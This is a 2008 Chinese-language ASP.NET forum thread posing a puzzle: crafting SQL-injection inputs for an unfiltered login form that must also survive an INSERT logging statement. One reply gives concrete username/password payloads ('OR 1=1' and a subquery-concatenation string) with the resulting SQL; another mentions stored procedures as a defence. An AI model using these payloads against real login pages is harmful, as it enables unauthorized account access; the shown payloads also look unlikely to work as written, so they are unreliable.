注册 登录
编程论坛 ASP.NET技术论坛

sql注入问题

三断笛 发布于 2008-11-24 23:19, 1237 次点击
某网站登陆入口,有正确的用户名,但忘密码了,已知没有过滤单引号,可以注入,但发现在登陆时还会用insert记录登陆的用户
验证登陆的SQL语句大致如下(VBscript语法): "select * from user_table where username='" & username & "' and password='" & password & "'"
插入登陆信息SQL语句大致如下: "insert into login_table(username,password,login_date) values('" & username & "',' & password & "',getdate())"

现在你的任务是如何构造一个username和password,既能通过登陆验证也能通过登陆信息记录
9 回复
#2
bygg2008-11-25 11:02
两条一起好像不行哦....
#3
铲铲2008-11-25 11:14
username = "正确的用户名' OR 1 = 1"
password = "select * from user_table where username = '正确的用户名'"
#4
铲铲2008-11-25 11:32
刚才写错了,应该如下:
username = "正确的用户名"
password = "' + select password as password from user_table where username = '正确的用户名' + '"

解释
构造后的两语句为:
select * from user_table where username='正确的用户名' and password='' + select password as password from user_table where username = '正确的用户名' + ''

insert into login_table(username,password,login_date) values('" & username & "','' + select password as password from user_table where username = '正确的用户名' + '',getdate())

这样,将密码转变为了依据用户名从user_table表中获取,两头构造两个空字符串连接起来。这两个空字符串的其中一个单引号由两个语句提供了。
#5
寂寞的柳丁2008-11-25 17:34
呵呵 强悍啊 学习了。。。
#6
小仙2008-11-25 18:53
铲铲果然厉害。不过要是用存储过程而不是语句的话,这种注入就应该可以被杜绝了。
#7
寒行2008-11-27 10:10
厉害厉害,学习了。。。。。。
#8
bygg2008-11-27 10:42
呵呵,又学了一招,不过现在很多都不直接用SQL语句了,呵
#9
铲铲2008-11-27 17:03
那可不一定哦。只要这种方式存在,任何程序的实现,在设计时都可能会考虑到这些方式。

我现在就不能断言,我所有的数据库访问都通过DataSet。因为DataReader尤其性能优异的一面,因此进行详细设计时,这两种访问数据库的方式都可能会考虑

[[it] 本帖最后由 铲铲 于 2008-11-27 17:04 编辑 [/it]]
#10
bygg2008-11-27 17:15
但是如果读取数据不再使用DataSet 和DataReader了呢??
也就是说整个项目中都不出现Sql语句了,像这样的情况还可能发生吗??还望赐教..
1